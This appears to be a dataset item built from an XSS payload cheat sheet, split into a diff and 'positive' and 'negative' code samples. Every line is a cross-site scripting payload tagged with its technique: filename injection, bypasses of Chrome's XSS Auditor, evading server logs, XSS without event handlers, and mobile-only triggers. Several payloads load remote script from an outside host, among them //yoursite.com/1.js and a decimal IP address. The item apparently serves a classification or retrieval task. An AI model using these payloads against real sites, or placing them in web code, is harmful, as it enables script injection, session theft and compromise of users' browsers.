anchor.diff:  "><img src=1 onerror=alert(1)>.gif@XSS Injection in Filename
   <script src="data:&comma;alert(1)// @XSS Google Chrome Auditor Bypass
   "><script src=data:&comma;alert(1)// @XSS Google Chrome Auditor Bypass
  -<script src="//brutelogic.com.br&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  -"><script src=//brutelogic.com.br&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  +<script src="//yoursite.com&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  +"><script src=//yoursite.com&sol;1.js&num; @XSS Google Chrome Auditor Bypass
   <link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&ol;script&gt; ">@XSS Google Chrome Auditor Bypass
   <svg onload=eval(URL.slice(-8))>#alert(1)@XSS Server Log Avoidance
   <svg onload=eval(location.hash.slice(1)>#alert(1)@XSS Server Log Avoidance
  
positive.code: <object data=javascript:alert(1)> @XSS Without Event Handlers
  <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>@XSS Without Event Handlers
  <svg><script xlink:href=data:,alert(1) /> @XSS Without Event Handlers
  <math><brute xlink:href=javascript:alert(1)>@XSS Without Event Handlers
  <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>@XSS Without Event Handlers
  <html ontouchstart=alert(1)> @XSS Mobile Only
  <html ontouchend=alert(1)>@XSS Mobile Only
  
negative.code: <x contenteditable onpaste=alert(1)>@XSS Agnostic Event Handlers
  <script>alert(1)// @XSS Code ReuseInline Script
  <script>alert(1)<!–@XSS Code ReuseInline Script
  <script src=//yoursite.com/1.js>@XSS Code Reuse Regular Script
  <script src=//3334957647/1>@XSS Code Reuse Regular Script
  <x onxxx=alert(1) 1='@XSS Generic Source Breaking
  <script>alert(1)</script> @XSS Without Event Handlers
  